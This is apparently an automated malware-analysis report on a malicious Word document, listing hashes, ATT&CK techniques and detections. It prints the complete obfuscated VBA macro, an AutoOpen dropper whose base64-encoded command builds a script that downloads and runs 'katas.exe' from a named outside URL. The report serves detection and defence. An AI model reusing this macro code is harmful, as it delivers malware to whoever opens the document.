Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c1c962eff00a3a28…

MALICIOUS

Office (OOXML)

28.3 KB Created: 2015-07-13 16:59:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2015-09-01
MD5: 56359dd5201f5d2c46f1432ece5530ce SHA-1: 8b56a13bbdf4abb7812aceb5849350f90696c6de SHA-256: c1c962eff00a3a285fe33a59ccada3cdd72e523c61841421142cff87d7cc2c5a
372 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1071.001 Web Protocols

The sample contains VBA macros that are obfuscated and use WScript.Shell to download and execute a payload. The AutoOpen macro is triggered upon opening the document, and it constructs a URL to download a file named 'katas.exe'. The script also attempts to save the downloaded content to a file and execute it.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    CreateObject("WScript.Shell").Run (Replace(c, "https://www.google.com/images/srpr/logo1w.png", e)), 0, True
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    CreateObject("WScript.Shell").Run (Replace(c, "https://www.google.com/images/srpr/logo1w.png", e)), 0, True
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    CreateObject("WScript.Shell").Run (Replace(c, "https://www.google.com/images/srpr/logo1w.png", e)), 0, True
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://syndrome-de-poland.org/wp-includes/katas.exe Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • https://www.google.com/images/srpr/logo1w.pngReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2305 bytes
SHA-256: bf7fbd750ff37df2f73732c8b96ec9f337c0425849f0716c89346d09dc88df4f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Dim a, b, c, d, e, f
Dim r
r = 0
r = 12333 + 1
e = "http://syndrome-de-poland.org/wp-includes/katas.exe"
a = "Y21kLmV4ZSAvYyBjZCBjOlx1c2Vyc1xwdWJsaWNcZG9jdW1lbnRzICYgKGVjaG8gYSA9ICJodHRwczovL3d3dy5nb29nbGUuY29tL2ltYWdlcy9zcnByL2xvZ28xdy5wbmciICYgZWNobyBiID0gTWlkXihhLCBJblN0clJldl4oYSwgIi8iXikgXisgMSwgTGVuXihhXileKSAmIGVjaG8gU2V0IGMgPSBDcmVhdGVPYmplY3ReKCJNU1hNTDIuWE1MSFRUUCJeKSAmIGVjaG8gU2V0IGQgPSBDcmVhdGVPYmplY3ReKCJTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCJeKSAmIGVjaG8gU2V0IGUgPSBDcmVhdGVPYmplY3ReKCJBRE9EQi5TdHJlYW0iXikgJiBlY2hvIFNldCBmID0gQ3JlYXRlT2JqZWN0XigiV1NjcmlwdC5TaGVsbCJeKSAmIGVjaG8gSWYgZC5GaWxlRXhpc3RzXihiXikgVGhlbiBkLkRlbGV0ZUZpbGVeKGJeKSAmIGVjaG8gYy5vcGVuICJHRVQiLCBhLCBGYWxzZSAmIGVjaG8gYy5zZW5kICYgZWNobyBJZiBjLlN0YXR1cyA9IDIwMCBUaGVuICYgZWNobyBXaXRoIGUgJiBlY2hvIC5UeXBlID0gMSAmI" + _
"GVjaG8gLk9wZW4gJiBlY2hvIC5Xcml0ZSBjLnJlc3BvbnNlQm9keSAmIGVjaG8gLlNhdmVUb0ZpbGUgYiAmIGVjaG8gLkNsb3NlICYgZWNobyBFbmQgV2l0aCAmIGVjaG8gSWYgZC5GaWxlRXhpc3RzXihiXikgVGhlbiAmIGVjaG8gZi5SdW5eKGJeKSAmIGVjaG8gRW5kIElmICYgZWNobyBFbmQgSWYgJiBlY2hvIGQuRGVsZXRlRmlsZV4oV1NjcmlwdC5TY3JpcHRGdWxsTmFtZV4pICYgZWNobyBTZXQgYyA9IE5vdGhpbmcgJiBlY2hvIFNldCBkID0gTm90aGluZyAmIGVjaG8gU2V0IGUgPSBOb3RoaW5nICYgZWNobyBTZXQgZiA9IE5vdGhpbmcpID4geC52YnMgJiBzdGFydCB4LnZicw==": f = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": a = Replace(a, vbCrLf, ""): a = Replace(a, vbTab, ""): a = Replace(a, " ", ""): b = Len(a): For d = 1 To b Step 4
Dim g, h, i, j, k, l
g = 3
Dim x
x = 0
x = x + 1
k = 0
For h = 0 To 3
i = Mid(a, d + h, 1)
Dim y
y = 2
x = y + 1
If i = "=" Then
g = g - 1
j = 0
Else
j = InStr(1, f, i, vbBinaryCompare) - 1
End If
x = y + r - 1000 * 5 - r
k = 64 * k + j: Next
k = Hex(k)
k = String(6 - Len(k), "0") & k
l = Chr(CByte("&H" & Mid(k, 1, 2))) + Chr(CByte("&H" & Mid(k, 3, 2))) + Chr(CByte("&H" & Mid(k, 5, 2)))
c = c & Left(l, g)
Next
CreateObject("WScript.Shell").Run (Replace(c, "https://www.google.com/images/srpr/logo1w.png", e)), 0, True
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 20992 bytes
SHA-256: 5fefac67aa5b79d2ad1639ea89df99dab1f93101b6c4c7a67a2b49dc51677f84
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.